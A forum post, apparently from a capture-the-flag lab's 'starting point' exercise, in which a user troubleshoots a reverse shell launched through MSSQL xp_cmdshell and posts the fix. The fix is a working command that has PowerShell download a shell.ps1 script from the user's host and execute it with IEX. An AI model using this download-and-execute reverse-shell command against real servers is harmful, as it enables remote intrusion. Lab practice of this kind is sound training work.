While doing the foothold part of the starting point, I ran into following error when trying to execute the reverse shell through the MSSQL xp_cmdshell:
New-Object : The ‘New-Object’ command was found in the module ‘Microsoft.PowerShell.Utility’, but the module could not be loaded. For more information, run ‘Import-Module Microsoft.PowerShell.Utility’.
The Python HTTP Server does not recieve any Status Code at all when executing.
My Server is up and running on port 80 in the same directory where the shell.ps1-File is located. I am listening on Port 443 and changed IPs in PS Command and xp_cmdshell-Commnd to my tun0 address.
I even tried installing the PowerShell.Utility Module through the xp_cmdshell but no luck there.
I have no idea where to go from here, so I am addressing the forum as a last resort.
I resolved it by changing the command to:
xp_cmdshell "powershell “IEX (New-Object Net.WebClient).DownloadString("http://10.10.14.27/shell.ps1\“);”;”
The only thing changed is adding another ;" to the end of the command… I don’t know if thats what resolved the error or if it’s just because I waited a couple of minutes…